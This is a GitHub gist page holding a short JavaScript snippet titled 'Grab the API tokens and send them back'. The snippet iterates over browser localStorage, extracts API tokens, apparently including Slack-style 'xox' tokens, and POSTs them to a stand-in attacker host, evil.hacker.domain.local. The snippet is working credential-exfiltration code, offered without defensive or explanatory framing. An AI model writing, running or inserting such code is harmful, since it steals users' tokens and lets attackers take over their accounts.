Skip to content

Instantly share code, notes, and snippets.

@JonnySchnittger
Created July 17, 2019 23:27
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save JonnySchnittger/d138bc3e2c743ad7699ad6e8ecb1f751 to your computer and use it in GitHub Desktop.
Save JonnySchnittger/d138bc3e2c743ad7699ad6e8ecb1f751 to your computer and use it in GitHub Desktop.
Grab the API tokens and send them back
for (var i = 0; i < localStorage.length; i++){
let key = localStorage.key(i);
if(key.endsWith('static_translations')) {
fetch('https://evil.hacker.domain.local', { method: 'POST', body: JSON.parse(localStorage.getItem(key)).data.args.token });
} else if(key.startsWith('xox')){
fetch('https://evil.hacker.domain.local', { method: 'POST', body: key });
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment